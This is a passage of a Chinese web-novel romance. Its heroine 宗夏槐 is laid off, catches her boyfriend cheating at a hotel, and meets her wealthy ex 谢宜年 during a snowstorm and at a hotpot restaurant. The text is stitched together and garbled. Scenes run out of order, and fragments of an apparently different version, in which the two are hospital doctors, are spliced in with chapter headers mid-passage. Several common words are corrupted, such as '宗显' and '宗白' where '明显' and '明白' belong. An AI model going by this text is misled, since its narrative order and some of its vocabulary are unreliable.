宗夏槐很少和人打嘴架,第一次当场就鼓起勇气怼回去这件事让她很骄傲,直到吃完午饭都还在心里暗自得意。 她怼得简直太漂亮了。 然而乐极生悲,下午四五点市中心刚开始下雪的时候,她被单独叫去谈话室。 等待她的,正是和自己关系不错的人事部同事。 看见同事脸上复杂隐忍的表情,宗夏槐忽然有种不祥的预感。 其实自己所在的房地产公司经营不善的消息早就有传闻,有不少销售部门的同事都是在“被迫”的压力下不得不主动提出离职,无良公司设置了苛刻的指标,只要没达到就会在提成奖金的基础上不停地往下扣钱,到手工资大打折扣,没几个人能受得了这样的剥削。 但宗夏槐想不到裁员这事会轮到他们营销宣传部门,本来这部门就没有多少人,每个人都像拉满的陀螺一样不停地转,一个策划结束下一个又开始,仿佛缺了任何一个劳动力都能让业务压力直接瘫痪掉。 还以为又是给她画饼让她放弃单休日加班,结果人事把裁员决定告诉她的时候,宗夏槐一时间都没反应过来。 她从来不觉得被裁的人会是自己。 宗夏槐面对着眼神充满同情的人事同伴,迟疑了很久,缓缓说:“我二十四岁正年轻,一个人在这儿租房没有家庭负担,未婚未育,未来至少五年没有结婚打算,而且……” 她说到这里嗓音一干,措辞卡顿,揪着毛衣的手指发抖:“我入职快两年,几乎没有完整地休过一个周六日……” “工作上也没犯过大错,我想知道为什么是我。” ………… 宗夏槐出公司的时候,外面的雪已经下得很大了。 夜幕降临,漆黑罩住了整个城市深不见底,随着风洋洋洒洒着白雪。 办公楼大厅的地面布满了湿润泥泞的鞋印,因为特殊的天气,氛围比平时还要嘈杂。 宗夏槐满脸失意地走出电梯,双眼空洞,仿佛魂儿还在楼上谈话间。 即使还没有完全接受裁员的决定,但她还是收拾了一大袋子工位上的东西带回家。 楼下乌央乌央堆着正等着打车的人,杨格那张脸又窜过众多身影出现在她面前。 “槐槐,有时间吗?我们谈谈。” 宗夏槐脑子里全是失业的事,抬眼漫不经心瞥他一眼,继续往前走:“没什么可谈的。” “让你新女朋友离我远点儿。” “别跑到我眼前找茬。” 杨格愣了下,然后想去拉她的胳膊,却被宗夏槐利索甩开。 “我没新女朋友,她跟你说什么了?你别听她乱说啊。” “你别出去,外面雪下那么大。” 宗夏槐的耐心到了极限,直接扭头对他说:“你放过我吧行吗?” 她毫不掩饰自己的嫌恶:“杨格,从你出轨的那一瞬间开始,你就是飞进我嘴里的一只苍蝇。” “我好不容易吐出来了,你还来回来恶心人。” “有意思吗?” 看着她这张令他心驰神往的脸上如今全是对自己的厌烦,杨格顿在原地说不出话。 他看着宗夏槐转身离去的背影,喉咙一哽,有种追不上脱手风筝的无力感。 宗宗只是因为一时失误。 ………… 宗夏槐抱着一兜子东西漫步目的地往园区外面走,周围的人行色匆匆,而她已经没了往常全力奔赴的精神头。 一下雪,园区附近街道路口的交通情况就会变得很糟糕。 失恋加上失业的双重打击撞得她此刻头脑发昏,像个迷失在幻想世界的玩偶,也不知道要走去哪儿,任凭双腿机械式抬动。 雪碴子淋得她刘海和眼镜全湿了,镜片全是水,模糊了她的视线。 其他路人默契地靠在人行道最右侧低头行走,这时有一辆逆行的外卖电动车骑上了人行道而且速度飞快,大雪中飕飕冒进。 宗夏槐走到拐角,刚抬头就被车灯刺到眼睛,猛地刹住步子,再反应已经晚了。 她势必要被电动车刮倒。 算了,摔就摔吧。 就在她已经放弃挣扎等待一场碰撞和疼痛的后一秒。 电光火石之间,有人一把拉住了她的胳膊,猛地往回拽—— 宗夏槐的袋子掉在地上,整个人被对方的力度带的转了半个圈,向前栽去—— 最后,在纷飞雪幕中,她的脸栽进了一片温热的雪松香之中。 男人搂着她的腰,力度紧得两人紧紧贴在一块。 熟悉的嗓音在头顶响起。 “宗夏槐,你走路是不会抬头么。” 宗夏槐怔怔仰头。 她眯起被雪淋湿的眼睛,在夜色匆繁的暴雪街角。 就这样坠入谢宜年漆深的目光。 谢宜年问:“那夏夏觉得呢?”他像等着被夸的小朋友。 宗夏槐说:“我当然也是这么觉得。”她真心诚意地夸道:“我觉得宜年将来一定能成为很好的外科医生。” 至少从这次女病人的事情中就可以看出来,谢宜年有一颗善良的心。为了更好地救人,医生必须理智无情,但不能真的冷漠。 谢宜年问:“那夏夏会一直陪着我吗?” 宗夏槐说:“会的。” 谢宜年听上去很高兴:“好!我和夏夏一起在医院努力!一起加班!” 宗夏槐:“……加班就不用了,你自己加吧。”她想到点下班。 她现在这么努力地搞科研,可不就是为了早点升职称当主麻,过上朝九晚五下面有人的日子。 谢宜年也没有不开心,说:“对哦,夏夏当了主麻之后,就可以每天5点准时下班了,夏夏早点下班我也开心。” 谢宜年在电话里和她讨饶,“那么,以后等宗医生当了主麻老师,求多多罩我。” 第 55 章 第 55 章 宗夏槐说:“罩你可以,但别总给我们找事。” 谢宜年一口答应:“那肯定的。” 宗夏槐说:“比如别教病人骗我们,明明吃了东西跟我们说没吃。” 谢宜年说:“那肯定不能骗你们,我们科的医生什么时候干过这样的事了?只有骨科佬才会干出这么坑人的事情!” 宗夏槐说:“也不要在家属面前总把锅甩给我们,我们是幕后英雄,不是幕后背锅侠。” 谢宜年说:“从来没有把锅甩给你们,那都是普外佬爱干的事情。” 12月25日,晚9点,滨阳市中心暴雪。 白絮卷着风在建筑外的灯下狂欢飞舞,碎琼乱玉漫天降落,每颗雪糁都像有了生命,灵动地织成了一张罩住整个城市的网,收缩天地之间的距离。 路边整齐的黄蓝共享单车积起一层厚厚的白,看上去松软又冰冷。 宗夏槐冲到酒店。 因为眼镜淋了一层雪水,导致视线扭曲又模糊,朋友站在门口的身影都仿佛扭来扭去的。 邵青青身上穿着工作制服,看见人来了跑到大雪里迎她,“小鸟!!” “你可算来了!你说怎么突然下这么大的雪……” 宗夏槐握住同学的手,抬眼时目光复杂,声线微抖:“又给你添麻烦了……确定是他吗?” 邵青青拉着她往酒店里走,“我只见过他照片呀我不确定,所以才着急忙慌给你打电话。” 当时她正要交接班,结果没想到在自己负责的楼层里看到了好友的男朋友带着一个女的进了房间…… 邵青青脾气和软绵绵的宗夏槐完全相反,从大学到现在都是直来直去的爆-炸辣椒,看见宗夏槐男友杨格那张脸的瞬间恨不得上去手刃了那对狗男女,但最后还是冷静下来给她打了电话。 眼前的宗夏槐被大雪淋得湿漉漉的,本就无辜单纯的一张脸更显得可怜,鬓发贴在脸颊上,细密的眼睫抬动,眼珠流转着水光。 无论是谁看着这么一张脸,心都能化成一滩春水。 邵青青心里发软,从兜里掏出一张纸给她擦擦脸:“别着急啊,我陪你上去!” 宗夏槐摇头,坚持说:“你别跟着我上去了,你还穿着工作服,回头让你领导同事看见你带着外人跑上去捉奸不好。” “真是恶心。”邵青青想起一些事儿,说:“他前几天说交房租手头的钱周转不开,在你这儿借了五千多块钱,不会就是用来带人开房的吧!” 她工作的这家花园酒店属于中高端,十几层的房间一晚费用至少要四位数。 “你当时想都不想就给他了,也没留个心眼?” 好友说到这里宗夏槐才反应过来不对,她面对很多事的反应总是迟钝半步。 宗夏槐咬了咬嘴唇,点头:“如果是那样我饶不了他,我上去问个清楚。” 邵青青把坐电梯要刷的卡塞给她,嘱咐一句:“别吃亏别受伤,有事叫我上去。” 宗夏槐一个人扎进酒店。 酒店正是进出热闹的时间段,从楼上下来的电梯刚打开,她急着往里挤,迎面撞上一抹宽壮的身板,对方黑色毛衣上隐隐的雪松味道染进她鼻息。 宗夏槐满脑子乱乱的,顾不上抬头,小声道歉:“不好意思。” 那人的视线似乎在她身上停留了短暂几秒,随后出了电梯。 宗夏槐脑海里忽然闪出些直觉,再回头看向外面,电梯门已然关闭。 电梯一开门她奔向1207房间。 其实直到前一秒宗夏槐都还留有侥幸,想着会不会因为男友大众脸,朋友认错了。 直到亲眼看见她前阵子送对方的那条定制领带夹在紧闭的房门缝里,垂出来一小节在穿堂风中微微摆动。 透着男欢女爱的急切。 让站在门口的自己彻底成了笑话。 杨格前几天刚从一个小职员升了项目组长,她为了给他庆祝咬牙给对方定制了这条领带。 如今她却像被这条领带狠狠抽了一巴掌,脸上火辣辣的,丢人又愤怒。 宗夏槐气得浑身发抖,一用力把喜欢的美甲都抠掉一大块儿。 宗夏槐的胸口起伏剧烈。 她握拳就要捶打门板,可下一秒动作又生生停在半空,攥得发白的手背代表着错乱的纠结。 不是不舍得和男朋友撕破脸。 她只是不知道该怎么处理那种也许会非常混乱,非常歇斯底里,甚至暴力的场合。 而且…… 宗夏槐摘下全是水珠的眼镜,偏头从旁边反光的光面柱子瞥见自己的样子。 刘海湿塌塌贴在脑门上,衣服也湿了,整个人狼狈又匆忙。 她不想就以这个样子去揭发他,一点面子都没有。 宗夏槐抬手把那条领带从门缝里抽出来,随便团了几下塞到自己包里,往电梯间的方向走了几步,而后突然停住。 …… …… 她倏地嗖嗖嗖地返回,举起拳头毫不犹豫地嘭嘭嘭砸在门板上,大喊一句:“着火了!!快出来!!” “着火了!!” 说完听到门板里似乎出现了一些男女慌张中止的声音,宗夏槐轻叱,扭头就走。 ………… 酒店大堂外。 “真咽不下这口气!你们才刚开始接触,培养感情没半年他就暴露本性了。”邵青青呸了一声。 作为认识这么多年的朋友,她知道宗夏槐天生粗条,对很多事反应总是慢半拍,所以总是吃亏。 外加上这些年工作压力大,性格都闷了很多,不像她大学谈恋爱那会儿,活跃自在,宗媚得跟只小野槐似的。 邵青青说:“不过我觉得你没闹开了,也没做错,你一个人面对他们俩指不定要吃亏。” 宗夏槐抠着手指,压着唇角,忿忿不平:“这种事他有一次就会有第二次。” “下次,我一定让他光屁股丢人!” “但愿还能逮到他。”邵青青和男友约了看电影不能再迟了,只得和她告别:“有事儿你随时打给我,别自己憋着,听见了没。” 宗夏槐点头,撑起一抹微笑点头目送她。 朋友离开后,她冷下了脸。 娇小的身影孤零零地站在车来人往的酒店外,好似随时都会被这场雪埋没。 街上多半都是没有为这场雪做准备的人,一个个顶着羽绒服帽子,被打得湿透,仓皇地赶路。 因为天气交通比平时更拥堵了,猩红的车灯一扇扇将飞雪融化,摇曳的雨刷器吱呀吱呀运作着令人听着心乱。 宗夏槐把全是雪水的眼镜擦干净,再次冲进漫天暴雪。 滨阳作为一座北方城市每年到了十二月都要来这么几场大雪。 但宗夏槐却觉得今年的雪来势汹汹,比往年都要不留情面。 跑到公车站这么一百米的功夫裤脚就全湿了。 她挤在人群里盯着一辆辆公车来了又去。 回家的公车到了,宗夏槐背着包闷头往前顶,像热狗中间那根香肠似的被夹着上了车。 好巧不巧有个人匆匆下车,她眼疾脚快坐了下去。 坐下的瞬间她整个人都放松了大半,长长舒了口气。 宗夏槐弯腰,捏着酸痛的脚腕。 就在这时,临关车门又挤上来一个妇女。 她抬头一眼就看见了对方裹着羽绒服隆起的腹部,不顾疲惫立刻弹站起来。 宗夏槐向孕妇招手,“您坐我这里。” “地上好多水,有点滑,您脚下当心点。” 一车都是累死累活的上班族,坐着的人没一个有让座欲望的,都低着头装看不见。 孕妇似乎早已习惯了这样的环境,没想到会有人这么不加犹豫的让出座位,这姑娘的圆眼又黑又亮,镜片都压不住她眼眸里的甘甜。 这样漂亮的一张脸落在孕妇眼里,就像在闷塞的公车里呼吸了一口薄荷清香的空气,她脸上挂起几分动容,“谢谢,谢谢。” 宗夏槐摇摇头,笑了下:“没事,我不远。” 其实不是。 摇摇晃晃地站着,宗夏槐承受着身体的疲惫同时享受着心理的助人满足感。 过了几站,公车行驶到途中突然骤然失控,猛地停在路中。 车内尖叫声响起的时候,宗夏槐还不忘克服往前的惯性伸手去保护坐着的孕妇。 在公司当了一天牛马结果又被男朋友绿,暴雪天坐的公交车还莫名其妙地坏在了半路。 “……” 这次是真无语了。 ………… 公车部分功能失修损坏,幸好车上乘客没有受伤,司机等待维修队来拖车,所有乘客被迫疏散下车各找出路。 雪下得更大了。 风带着雪茬打在脸上刺着疼,宗夏槐脸蛋被冻得僵疼,踩着积雪缓慢地往前迈步。 当初毕业一个人跑到滨阳来独立生活,这两年里遇到多少困难都没觉得累没觉得苦。 但不知怎的此刻她在这大雪里,真的有些走不动了。 就在这时,一股香味从前方飘来,前面似乎是有火锅店。 宗夏槐抬头望向前面,饥饿感如三峡大坝泄洪那刻般地动山摇地扑来。 上午做了半天报告,因为被卡进度让领导数落半天,中午饭没来得及吃就跟着连听了一下午没营养的会,下了班立刻跑到这里捉奸。 她一天都没吃饭。 雪点子不断拍打着脸,闻着这股香味,宗夏槐就像看见了望梅止渴的源泉。 一股劲走到店门口,隔着玻璃里面满满两行人在等位。 可周围没有别的更好更便宜的餐饮店了,她只得推开火锅店的大门。 带着香味的热气袭来——她的镜片再次白了一大片。 人在不指定的场所偶然闻到某种味道时会开启对某个特定时间段,或者是对某个人的记忆。 这种现象叫做普鲁斯特效应。 在寒霜刺骨的雪天里忽然闻到了这股火锅的味道,让宗夏槐冷不丁想起一个人。 想起一个淡忘许久的人。 全身在一瞬间仿佛被什么击中了,酥麻,僵硬。 她说不上来,怪怪的。分手那年的冬天也是下雪很多,崇京本来是座很干燥的城市,常年冬季一场雪都盼不来,但和谢宜年缠在一块的那一年多,崇京的雨雪丰沛得不像它。 她躲在楼上背靠着玻璃窗外的冰冷大雪,听着手机听筒那边他不太稳的呼吸波动。 半晌,他问:“想好了?确定么。” 像忍着翻涌的情绪。 宗夏槐甚至能想象到他忍着愠怒绷紧的腮颊。 她仓促在毛衣上蹭着手心冒的汗,眨眼:“当然,就这样吧。” “本来,本来……一开始也只是为了谈个恋爱,校园情侣最后不都是因为毕业还是什么的……散就散了。” 磕磕绊绊毫无逻辑地说完,宗夏槐自己也冷了下来,沉默了很久。 “谢宜年,就这样吧。” “我不想继……” “宗夏槐,你连要提分手。” 他喉间轻笑,极度自嘲。 “都已经懒得下来见我一面了么。” ………… 当初分手分得不愉快,那时候她觉得无论是什么,如果注定无法长久,那么还不如主动结束。 如果不提分,或许也是等着被分。 谢宜年是学校里的风云人物,眼高于顶,多少女生掏出热乎乎的真心扑上去给他,他连个眼神都不给。 就这样一个人,最后却被她甩得那么干脆。 所以宗夏槐一直觉得谢宜年恨她。 就算有天碰上了,以他睚眦必报的性格,绝对想上来一把掐住她按在地上忏悔。 谢宜年冷淡的瞥视令她从回忆中闪回。 服务生见她僵在要坐不坐的动作,不知道有什么问题,笑着问:“您好想吃点什么锅底,第一次来吗?需要我为您介绍一下吗?” 殊不知宗夏槐杵在原地,干笑:“不用了谢谢。” 她好像好几天没洗头发了,现在又被雪打得一缕缕,不知道看着得多丑。 谢宜年的目光短暂又平静,就像随便打量了一个陌生人,瞥了她一眼就收回了视线,继续往锅里投了半颗娃娃菜。 宗夏槐背后冒了一层虚汗,脚下灌了铅一样动弹艰难。 ……他没认出自己? 还是根本就没把她放眼里? 奇了怪了,谢宜年不是养尊处优的富三代吗? 怎么也会来吃这种价廉的火锅店? 以前不是一直很嫌弃这种没有边界感的餐饮环境嘛…… 记得他第一次吃旋转火锅还是她强拉着他去吃的。 就在分秒间她纠结是离开还是坐下的时候,肚子即刻发出一阵亟待填满的饥饿痛感。 宗夏槐一咬牙,拉开椅子坐下,扫了点单二维码。 在一线城市中心区域,三四十块能在这里吃到饱为止,这家店的起价确实不贵。 调料和饮料都是自助的,但是如果还有更多要求,比如要更高质量的海鲜和肉类就需要单独消费了。 她扫了一眼,旋转台上的品类已经很丰富了,普通客人完全不用加菜就可以吃得很满足,老板真的很良心。 氛围莫名安静,只有火锅咕噜噜冒泡的声音。 她已经快把脸埋进手机里了,可却还是很难忽略旁边坐着那人的强烈气场。 旋转火锅店每个位置都是挨着的,所有人都并肩坐着,在狭窄的间距中吃喝都能彼此看见,还要谦让一些空间,在穿衣厚重的冬天,稍微一动甚至都会蹭到对方的手臂。 邻座男人毛衣上隐约藏着雪松香味,因为过近的距离,蔓延到她此刻高度紧张的感官当中。 宗夏槐意外,这么多年他还是喜欢这个味道的洗衣液吗? 也不知道什么牌子的,似乎很大众,因为她好像刚刚就在哪里闻到过…… 不过这样热闹又近密的场所,确实不太适合尴尬的前任重逢。 火锅汤噗噜噜地沸腾着,她的辣锅和他的清汤格格不合。 过去的时候一块吃火锅她就总笑话他不能吃辣,总是故意往他锅里撒一勺子辣汤,然后回去的时候被他“秋后算账”,亲得嘴巴和他吃辣后一样红肿才罢休。 回忆隔着数年在相似的场景里清晰在目。 两人的位置比较靠角落,前斜方有一块暗色的金属反光板,像镜子般能看到其他人。 宗夏槐抬眼,反光板里谢宜年的身影霸占着她的注意力。 这人好像比大学时候更帅了。 五官端正俊逸,这些年的沉淀更让他环绕着成熟男人的魅力。 谢宜年始终盯着自己锅里的煮物,根本没察觉到她的偷瞄,亦或者根本懒得关注她。 宗夏槐意识到这点,悻悻收回视线。 这时,她从反光板看见谢宜年右边的女客人也在打量他,惊艳之色难以伪装。 谢宜年不属于静态帅哥,细节的动态魅力很难让异性挪开视线。 例如鼻尖的痣,打电话时冷嘲鼓起的卧蚕,习惯性玩弄手边东西的动作。 让人窥见他藏在冷峻之下的不正经的拿人劲儿。 女客人似乎这么偷偷打量了谢宜年很久,表情隐含着一股蠢蠢欲动又不太敢搭讪的感觉。 他从来都是这么一个令女性不敢招惹又忍不住肖想的对象。 就在这时,谢宜年锅子的漏勺忽然掉到桌子上。 啪嗒一声,宗夏槐冷不丁哆嗦一下。 下一刻,邻座立刻投来炙热的视线。 宗夏槐盯着付款的界面,突然像个被天敌盯上的小动物,动都不敢动了。 她频繁眨眼,脸蛋紧张得鼓了起来。 他看什么?他在看她? 宗夏槐脑子里飘出很多猜测,猜他到底认没认出自己,他这么盯着她,难道是在等她自报家门主动开口吗? 本就是爱纠结的人,如今这么一座“大佛”就坐在她邻座,宗夏槐半边身子都要麻了。 氛围僵硬得连火锅热气都融不开。 就在这时,一抹身影突然冲过来。 对方嘿嘿笑了两声,“不好意思啊借过!” 宗夏槐扭头看过去,一下子对上蒋望贼笑的眼神。 她认出了这个人——谢宜年大学时候的舍友。 宗夏槐蒙了:这人怎么会出现在这儿?? 谢宜年看见蒋望回来,眼神更冷了几分,似乎用目光无声询问着什么。 蒋望溜过来站在两人中间这块空隙,然后从宗夏槐手边的餐巾盒后面拿回了自己的打火机,给谢宜年示意了下,“哎哟我火儿忘拿了。” 说完,他暧昧地看了看这俩人,对谢宜年挤眉弄眼的,语气完全不惊讶,表演痕迹很宗显:“哟宗夏槐!怎么是你,好久不见啊!” “不耽误你们前对象重逢叙旧了哈,走了。” 蒋望的出现和这一句话彻底打破了那层窗户纸。 谢宜年右边一直偷偷觊觎的女客人唰地看过来。 宗夏槐尴尬在原地,呼吸屏住。 这人来匆匆去匆匆,把场面搅成一锅粥满意离去。 宗夏槐悻悻回头,直接撞上谢宜年深沉的目光。 她弹开视线,从旋转台上夹了几根海带,小声讷讷:“如果我说……你们认错人了,我是她双胞胎妹妹……” 你信吗? 话没说完,宗夏槐小心翼翼再次抬头,看见他冷漠中掺着嘲谑的目光。 谢宜年从来不吃她装傻充愣那一套,过去也总是强迫她不许逃避,直面他这个人和其他所有问题。 他不容置喙,不许她糊弄人的态度强势无比,仅一个眼神就足够吓人。 她宗白自己彻底没法逃避了。 宗夏槐尴尬得头皮发紧,慌乱中看见什么菜都往生蔬盘里夹:“我,不是故意要制造偶遇的。” “我也不想和你邻座的,你看见啦,这家店人很多。” “等了这么久才有个地,我没法选。” 对方的沉默让她更慌,嘴一快,宗夏槐的心里话溜了出来:“哎行了,就算你想翻旧账,能不能让我把饭吃完了再……” 谢宜年忽然开口:“你有毛病?” 宗夏槐目瞪口呆,怒气上涌,嘴更笨了:“你,你有话不能好好说吗,骂什么人啊?” “你把菜。”他直接打断她,指了指自己的生蔬盘,“都夹我盘儿里了。” 宗夏槐看过去:“……” 呀,挨得太近,盘子弄混了。 谢宜年扫了眼她夹的这一堆蔬菜,轻哧:“怎么,现在连肉都吃不起了?” 他抬手示意,指她:“来,给她上份精品羔羊。” 宗夏槐:“不用,我不喜欢吃这个……” 他直接反问:“以前不是最爱吃这种?” 话落,谢宜年补了句:“算我账上。” 宗夏槐:“……” 谢谢你啊你还真是个大善人。 宗夏槐的心情很复杂,当初是自己非要分手的,结果几年过去再发展的对象还是这么一个烂人。 但凡今天不碰到谢宜年,她都不至于像现在这样无地自容,如坐针毡。 就在这时,放在桌边的手机亮起。 宗夏槐看去,弹窗上显示着男友发来的最新微信。 【宝贝,下班了吗?回家了?吃饭了吗?记得吃点好的别委屈自己。】 【我加班刚结束,好累,安慰一下嘛(亲亲)】 这两条消息映入眼底,烧起了宗夏槐刚降下去的怒火。 她没忍住直接反问对方:【你确定你加班?你今天都去哪儿了。】 对方停顿一下,持续输入中后甩来一句毫不羞愧的埋怨。 【我不在公司加班还能去哪?】 【宗夏槐,你在我手机里装定位了?】 他倒打一耙的话术十分娴熟。 【当初不是你说咱们彼此都留一些自由,恋爱别谈得那么累吗?现在你不让我管你,然后你又这么束缚我?】 宗夏槐绷不住想破口大骂问候上下八百辈祖宗的冲动,手指在对话框敲敲打打,删减好几个来回才发觉自己压根不会骂人。 【我没有监控你的兴趣。】 气得她直接打开小红书搜索怎么骂人才厉害。 翻着翻去,宗夏槐眼底禁不住开始泛酸。 怎么连痛快骂个人都不会! 看她不继续回消息,出轨男友发来一句挽回氛围。 【好啦,我知道你一直信任我的,谁教你这么测试自己男朋友的?哈哈。】 【最近确实忙,回头我们出去约会好不好。】 她垂下眼睛,鼻尖耸动。 从小到大她总是习惯性藏匿情绪,受了委屈她就会用吸鼻来缓解泪腺的发作。 大多时候只要使劲动动鼻头,捏捏鼻翼,就能把眼泪憋回去。 没有人知道她这个小习惯,所以她能当众堂而皇之地“治疗”自己。 火锅的香气还在蒸腾。 男人端着筷子的动作不知何时也停了下来,他乜斜着邻座的人。 女孩的微动作尽落入他眼底。 须臾。 宗夏槐把一口沾满了辣油的茼蒿塞进嘴里,听见邻座的男人忽然开了口。 他嗓音一如既往好听,冷淡中含着清冽的粗粝感。 “再送你两份肉,能把你那眼泪收收吗?” “我没有听人哭声吃饭的兴趣。” “坏人胃口。” 她低头咀嚼的动作倏尔一愣,喉咙呛辣。 下一秒,憋了许久的眼泪利落地咳了出来。 就这样雾着眼镜拿了等号条,她摸索一个边角位置坐下,闻着香味,更多挥散不掉的回忆在脑海里逐一浮现。 像潜伏在海面下的礁石,一退潮,那些画面全都冒了出来。 宗夏槐捂着饿得乱叫的肚子,靠在一边墙上蹙眉假寐。 不知道为什么偏偏今天又想起初恋来,真是饿昏了头。 对方怕不是已经不记得她是谁了。 或者是隐约记得有个胆敢甩了他的前任,憋着等哪天见到再算账。 宗夏槐盯着店里缭绕的火锅雾气,郁闷腹诽:这种时候就别再酸唧唧地想前任了吧。 没出息。 天气恶劣,小店里却人满为患。 等了快一个小时的号,宗夏槐饿得头晕目眩,这时候服务生叫到她前面一个号,结果对方是对情侣,不愿意分开坐。 顺延就叫了到她,服务生问:“女士是这样的,那边空出来一个夹中的位置,您看可以吗?” 宗夏槐饿得恨不得抱起牛来生啃,使劲点头。 服务生引导她往里面走,旋转火锅座位之间近得胳膊相蹭,香气缭绕。 一步步往店里面走,宗夏槐回顾了这一天的经历,上班的时候被组长数落,被另一个流程的小领导卡进度,好不容易下班了又发现男友出轨,坐个公车还能坏在半路。 为了借钱给男友“救急”,她现在每天吃饭都要数着钱将就着果腹。 结果对方却拿着她的血汗钱去快活。 宗夏槐鼻尖发酸,莫名委屈。 今天绝对是她二十四年人生里最倒霉的一天。 已经不会有再糟糕的事发生了。 宗夏槐拉开椅子,刚要坐下。 一偏头,正对上男人漆黑的眼睛。 刹那,周遭空气都仿佛凝固住—— 世界安静了。 谢宜年穿着修身的黑色高领毛衣,捏着杯口的手白皙又漂亮,微微侧着头,睨着她的眼神透着冷。 有时候话不能说得太早。 糟糕就糟糕在,偏偏这个时候碰到了大学被自己甩了的富三代前任。 ……靠。 见鬼了。 他把调料搅和均匀,一人一份。 这时候牛羊肉也上来了,宗夏槐想动手,然而谢宜年已经涮好一片肉夹到她的碟子里。 宗夏槐用筷子夹起来,放进酱料碗里,使正反两面都充分浸润,放进嘴里的那一刻,肉的鲜香味迸发出来。 肉用的是新鲜羊肉,自然不用说,可这蘸料称得上是灵魂蘸料,直接提味60%,一般火锅店的沙茶酱容易做得很咸,但是这家的甜味会更重一点,颗粒感不重,和芝麻酱充分地混合在一起,又用蒜蓉一拌,用葱把香味最大化地激发出来,直接把人香到了天灵盖。 宗夏槐竖起了大拇指:“好吃!” 没过一会儿,宗夏槐的碟子里就有堆小山的趋势了。 谢宜年一边生闷气,一边给夏夏老婆涮肉,他很像是那个生气的小紫人表情包:【我要把老婆喂得白白胖胖.jpg.】 直到夏夏老婆往他嘴里塞了一块肉,谢宜年猝不及防地咬住,嚼了几口,还是从前的味道。 好吃呜呜。 谢宜年忍不了了,他转脑袋:“夏夏,我吃醋了。” 宗夏槐:“?” 第 56 章 第 56 章 宗夏槐问:“吃什么醋?” 原来谢宜年心情不佳并不是她的错觉,宗夏槐往他的碟子里分肉,抬头看见锅的热气熏红了谢宜年的眼尾,甚至他的额头都开始冒汗。 宗夏槐摸摸他的手,滚烫,像锅里的火炭一样。谢宜年今天穿得并不厚,只穿了一件长袖衬衫,和宗夏槐的衣服不在一个季节。 男生好像大多都怕热不怕冷,宗夏槐有些走神,在手术室里,那些男外科医生总爱叫护士把空调温度达到最低,搞得房间跟冰窖一样。 谢宜年这会儿正对着铜锅的热气,快热成了蒸笼上的包子。 宗夏槐看他还没说答案,也不着急,拍拍他的手:“我和你换个位置。” 谢宜年有些迟疑,因为他觉得他现在坐的位置并不舒服,所以不想和夏夏换。 然而夏夏把他拽起来:“我在这里正好烤烤火。” 但是谢宜年再坐这里就要烤熟了。 杨格在餐厅撒泼的事落在谢宜年生活里不过是再不起眼的一个小插曲。 当天晚上,白色的城市越野车离开西餐厅,往市中心的花园酒店驶去。 车内奢档的立体音响放着当下热门的DJ土味热曲,开车的卷发女孩听得带劲,连摇带晃的,就是把坐在副驾驶的谢宜年恶心得够呛。 遇到红灯,摩登卷发女孩扭头对上他颇不耐烦的神情,“干嘛?你这眼神什么意思?” “我要是知道你就听这些破玩意儿。”谢宜年手肘撑着窗边,余光乜斜她:“当初给你装音响的钱就应该拿去喂狗。” 他阖眼,揉了揉额头:“不想我死你车里就切广播,太阳穴直突突。” 女孩:“……” 一张破嘴淬了毒似的。 女孩乖乖切到城市交通广播,扫了眼他身上的熟男穿搭,不落下风地回怼:“行了,咱俩就别互相嫌弃了。” “别忘了这一两年都是谁拯救你那烂衣品的。” “我没音乐品味,你没穿衣品味,咱俩挺搭配的。” 谢宜年轻哼,没搭茬。 女孩嘱咐一句:“既然打算暂住滨阳,你就别一直住酒店了呗,实在不行你搬来跟我住。” 他似乎有些累了,懒洋洋回了句:“甭管了。” 车子又驶过两个路口。 绿灯亮起,她看着眼前路况踩下油门,忍不住八卦:“哎,今天餐厅门口撞你的那个小姐姐是谁啊。” “听你那话,感觉你俩认识。” 谢宜年微微睁眼,深黑的眼瞳倒映玻璃外的灯光,“不宗显吗?” “碰瓷儿的。” “撞我两回了。” 女孩:“……” 我怎么不信呢。 她咧开一抹笑,补了一句:“那人家姑娘就干撞你,不图点啥啊?” 这不神经病吗。 谢宜年盯着窗外的后视镜,似在回想什么。 半晌,他缓缓来了句:“天儿冷。” “估计是缺温暖。” 女孩:“……” 你他妈才是那个神经病。 ………… 西餐厅上的前菜里有小半杯香槟,宗夏槐在鼓起勇气和杨格对峙之前喝了一点酒。 她自诩酒量还可以,却不知怎的一路回家都晕乎乎的。 洗漱后她将自己扔进床里,仍旧觉得有些天旋地转。 宗夏槐盯着天花板,脑海里挥之不去的都是谢宜年和那个女孩子站在一起的画面。 不知怎的,她想着那两个人挽着胳膊站在一起的景象,想起的却都是曾经自己站在那个男人身侧时候发生过的瞬间。 她想起和谢宜年一起吃过的那些地摊和小苍蝇馆。 想起谢宜年在身后带着她的双手,教她打篮球。 想起谢宜年扣着她后颈,第一次吻她。 想起她肆无忌惮地趴在他身上捣乱,直到被他压着满脸通热。 宗夏槐莫名将自己和他发生过的,全都套在那个女孩子身上。 幻想着他也已经和现在的女朋友做过那么多事。 那些虚构的画面浮现的瞬间,她浑身都不对劲起来,说不出是酸是苦。 宗夏槐从床上惊坐起来,双手拍打着脸颊,啪啪地让自己清醒点儿。 “干嘛呢我……”她喃喃。 就像口腔没味的时候,会希望马上吃一点咸的或是甜的东西来丰富味蕾神经。 人在当下处于窘境或困难的时候,总会容易想起过去美好的时候以来对比感慨。 宗夏槐摇摇头迅速从那些回忆里挣脱,一定是因为最近太倒霉了才会想这些,应该吃点好的安抚一下自己。 想着她立刻爬起来搜罗能吃的东西。 结果一看,冰箱空空如也,只剩下三颗鸡蛋孤零零在那儿摆着。 宗夏槐打开外卖软件,看了看夜间配送费又舍不得花钱,最终叹气关掉。 没了夜宵,她又颓废地倒回床里,捞起一本书翻开。 这本书恰好是讲颜色搭配和服饰材质搭配的,让宗夏槐不禁回想起遇到谢宜年这两次对方的穿搭。 火锅店那次他穿的是棕色呢子大衣配黑色高领毛衣,黑色修身西裤和皮鞋,虽然很简约,却完美的诠释了谢宜年身上的那股高级感和矜贵。 网上果真说得没错,呢子大衣这种东西只属于身高一米八以上宽肩窄腰的男性。 这次是羽绒大衣里面配西装衬衫,像是刚结束了一天工作就带着女朋友来吃饭了。 气质这种东西真的很神奇,她第一次见有人能将羽绒服和衬衫叠穿得这么漂亮的。 这种搭配绝对不是谢宜年能想到的。 宗夏槐对这人以前的衣品深有印象。 这反倒让她想起两人最开始是怎么产生接触的了。 大一开学答应舍友去打听他微信后,宗夏槐问遍了以前高中认识的学长学姐,都挖不到这人的联系方式。 据说谢宜年傲得不行,更懒得网聊,微信和Q-Q从外不轻易给生人,如果是学校里的活动需要交涉,活动结束后他也会删掉不相关的人。 